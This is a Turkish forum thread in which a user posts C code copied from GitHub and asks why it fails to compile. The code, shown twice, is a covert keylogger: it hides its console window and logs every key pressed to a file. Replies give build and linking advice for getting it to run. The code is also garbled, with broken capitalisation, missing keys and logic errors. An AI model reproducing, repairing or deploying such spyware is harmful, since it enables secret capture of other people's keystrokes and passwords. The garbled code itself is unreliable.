C kodu hata veriyor

Siberci07

Hectopat
Katılım
14 Eylül 2019
Mesajlar
2.556
Daha fazla  
Cinsiyet
Diğer
Not: Kodlar bana ait değildir GitHub'tan buldum kopyala yapıştır yaptım, ve bana böyle bir hata veriyor.

1628342516034.png


#Define _wIN32_WINnt 0x0500.

#include<stdio.h>
#include<stdlib.h>
#include<windows.h>

İnt g(int a){
Getasynckeystate(a);
}

Void main()
{
Hwnd hwnd=GetConsoleWindow();
//Showwindow(hwnd, sw_mınımıze); //wont hide the window, minimise.
Showwindow(hwnd, sw_hıde);

Fıle *fp;
Fp = fopen("key.txt","a");
İf(fp==null){
Puts("sorry! Cant open file");
Exit(1);
}
While(1){

Sleep(140);
//Numbers ranging from 48 - 57.
İf(getasynckeystate(48) || g(96))fputs("0",fp);
Else if(getasynckeystate(49) || g(97))fputs("1",fp);
Else if(getasynckeystate(50) || g(98))fputs("2",fp);
Else if(getasynckeystate(51) || g(99))fputs("3",fp);
Else if(getasynckeystate(52) || g(100))fputs("4",fp);
Else if(getasynckeystate(53) || g(101))fputs("5",fp);
Else if(getasynckeystate(54) || g(102))fputs("6",fp);
Else if(getasynckeystate(55) || g(103))fputs("7",fp);
Else if(getasynckeystate(56) || g(104))fputs("8",fp);
Else if(getasynckeystate(57) || g(105))fputs("9",fp);
//Alphabets uppercase from 65-90
Else if(getasynckeystate(65))fputs("a",fp);
Else if(getasynckeystate(66))fputs("b",fp);
Else if(getasynckeystate(67))fputs("C",fp);
Else if(getasynckeystate(68))fputs("D",fp);
Else if(getasynckeystate(69))fputs("e",fp);
Else if(getasynckeystate(70))fputs("F",fp);
Else if(getasynckeystate(71))fputs("g",fp);
Else if(getasynckeystate(72))fputs("h",fp);
Else if(getasynckeystate(73))fputs("i",fp);
Else if(getasynckeystate(74))fputs("j",fp);
Else if(getasynckeystate(75))fputs("k",fp);
Else if(getasynckeystate(76))fputs("l",fp);
Else if(getasynckeystate(77))fputs("m",fp);
Else if(getasynckeystate(79))fputs("o",fp);
Else if(getasynckeystate(80))fputs("p",fp);
Else if(getasynckeystate(81))fputs("Q",fp);
Else if(getasynckeystate(82))fputs("r",fp);
Else if(getasynckeystate(83))fputs("s",fp);
Else if(getasynckeystate(84))fputs("t",fp);
Else if(getasynckeystate(85))fputs("u",fp);
Else if(getasynckeystate(86))fputs("v",fp);
Else if(getasynckeystate(87))fputs("W",fp);
Else if(getasynckeystate(88))fputs("X",fp);
Else if(getasynckeystate(89))fputs("y",fp);
Else if(getasynckeystate(90))fputs("Z",fp);
//Special characters.
Else if(getasynckeystate(32))fputs(" ",fp); //space
Else if(getasynckeystate(8))fputs("[BACKSPACE]",fp); //backspace
Else if(getasynckeystate(13))fputs("[ENTER]",fp); //enter
Else if(getasynckeystate(16))fputs("[SHIFT]",fp);
Else if(getasynckeystate(20))fputs("[CAPS]",fp);

Else if(getasynckeystate(vk_escape || vk_f1)){
Fclose(fp);
Break;
}
}
Fclose(fp);

}
 
C:
Void main()

{

 Hwnd hwnd=GetConsoleWindow();

 //Showwindow(hwnd, sw_mınımıze); //wont hide the window, minimise.

 Showwindow(hwnd, sw_hıde);



 Fıle *fp;

 Fp = fopen("key.txt","a");

 İf(fp==null){

 Puts("sorry! Cant open file");

 Exit(1);

 }

 While(1){



 Sleep(140);

 //Numbers ranging from 48 - 57.

 İf(getasynckeystate(48) || g(96))fputs("0",fp);

 Else if(getasynckeystate(49) || g(97))fputs("1",fp);

 Else if(getasynckeystate(50) || g(98))fputs("2",fp);

 Else if(getasynckeystate(51) || g(99))fputs("3",fp);

 Else if(getasynckeystate(52) || g(100))fputs("4",fp);

 Else if(getasynckeystate(53) || g(101))fputs("5",fp);

 Else if(getasynckeystate(54) || g(102))fputs("6",fp);

 Else if(getasynckeystate(55) || g(103))fputs("7",fp);

 Else if(getasynckeystate(56) || g(104))fputs("8",fp);

 Else if(getasynckeystate(57) || g(105))fputs("9",fp);

 //Alphabets uppercase from 65-90

 Else if(getasynckeystate(65))fputs("a",fp);

 Else if(getasynckeystate(66))fputs("b",fp);

 Else if(getasynckeystate(67))fputs("C",fp);

 Else if(getasynckeystate(68))fputs("D",fp);

 Else if(getasynckeystate(69))fputs("e",fp);

 Else if(getasynckeystate(70))fputs("F",fp);

 Else if(getasynckeystate(71))fputs("g",fp);

 Else if(getasynckeystate(72))fputs("h",fp);

 Else if(getasynckeystate(73))fputs("i",fp);

 Else if(getasynckeystate(74))fputs("j",fp);

 Else if(getasynckeystate(75))fputs("k",fp);

 Else if(getasynckeystate(76))fputs("l",fp);

 Else if(getasynckeystate(77))fputs("m",fp);

 Else if(getasynckeystate(79))fputs("o",fp);

 Else if(getasynckeystate(80))fputs("p",fp);

 Else if(getasynckeystate(81))fputs("Q",fp);

 Else if(getasynckeystate(82))fputs("r",fp);

 Else if(getasynckeystate(83))fputs("s",fp);

 Else if(getasynckeystate(84))fputs("t",fp);

 Else if(getasynckeystate(85))fputs("u",fp);

 Else if(getasynckeystate(86))fputs("v",fp);

 Else if(getasynckeystate(87))fputs("W",fp);

 Else if(getasynckeystate(88))fputs("X",fp);

 Else if(getasynckeystate(89))fputs("y",fp);

 Else if(getasynckeystate(90))fputs("Z",fp);

 //Special characters.

 Else if(getasynckeystate(32))fputs(" ",fp); //space

 Else if(getasynckeystate(8))fputs("[BACKSPACE]",fp); //backspace

 Else if(getasynckeystate(13))fputs("[ENTER]",fp); //enter

 Else if(getasynckeystate(16))fputs("[SHIFT]",fp);

 Else if(getasynckeystate(20))fputs("[CAPS]",fp);



 Else if(getasynckeystate(vk_escape || vk_f1)){

 Fclose(fp);

 Break;

 }

 }

 Fclose(fp);



}
 
Win32 API'si kullanarak uygulama derlemek için makefile'ın içerisinde kütüphanelerde -lwindows seçeneği olmalı. Bu olmadığı için de linker hatası alıyorsun. Ben olsam Win32 projesi olarak açardım Dev-C++'ta, ve gelen kodları temizleyip bu kodları koyardım. Denerdim bunu en azından.
 
Win32 API'si kullanarak uygulama derlemek için Makefile'ın içerisinde kütüphanelerde -lwindows seçeneği olmalı. Bu olmadığı için de linker hatası alıyorsun. Ben olsam Win32 projesi olarak açardım Dev-C++'ta, ve gelen kodları temizleyip bu kodları koyardım. Denerdim bunu en azından.

Fark etmemişim Windows fonksyonları kullanılıyor o yüzden WinMain ile yazmak daha mantıklı.
 
Win32 API'si kullanarak uygulama derlemek için makefile'ın içerisinde kütüphanelerde -lwindows seçeneği olmalı. Bu olmadığı için de linker hatası alıyorsun. Ben olsam Win32 projesi olarak açardım Dev-C++'ta, ve gelen kodları temizleyip bu kodları koyardım. Denerdim bunu en azından.
Evet ya ben consol uygulaması yapmışım özür dilerim teşekkür ederim :D
 

Yeni konular

Geri
Yukarı